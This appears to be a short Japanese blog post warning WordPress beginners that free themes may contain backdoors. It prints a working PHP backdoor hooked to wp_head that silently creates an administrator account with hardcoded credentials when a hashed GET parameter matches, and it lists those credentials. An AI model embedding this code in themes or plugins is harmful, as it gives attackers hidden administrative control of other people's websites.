WordPress に初めて触れる初心者の中には、いつもインターネットで無料テーマを探す人がいますが、こうしたテーマにはバックドアが仕込まれている可能性があり、簡単にあなたのウェブサイトの権限を取得され、不正な利益を得るために悪用されることがあります。

そこで、ここで初心者の皆さんに注意を促したいと思います。テーマを探す際は、必ず正規版を探してください。無料版の場合は、できれば GitHub にオープンソースプロジェクトがあるテーマを選ぶと、ある程度バックドアに遭遇する可能性を減らせます。

例

ここでは、よくあるバックドアコードを一つ紹介します。

add_action('wp_head', 'my_backdoor');
function my_backdoor() {
    if (md5($_GET['backdoor']) == 'b0f455571f6ae6c30e7521e9bf00b4f2') {
        require('wp-includes/registration.php');
        if (!username_exists('mr_admin')) {
            $user_id = wp_create_user('xinyewl', 'me');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }
}

PHP がこのコードを実行し、リクエストが行われると、あなたのパスワードを使って相手の管理画面にログインでき、通常どおりログインするだけで管理者権限を取得できます。つまり、シェルまで取得できるということです。詳しいことはここでは言いませんので、自分で考えてみてください。

ここでデフォルトに設定しているアカウントとパスワードは次のとおりです。

アカウント：xinyewl 
パスワード：me

具体的な使用方法については言いません。小学生が悪意を持ってテーマに埋め込むのを避けるためでもあります。

それでは、これで終わりです。くれぐれも悪用しないでください。

画像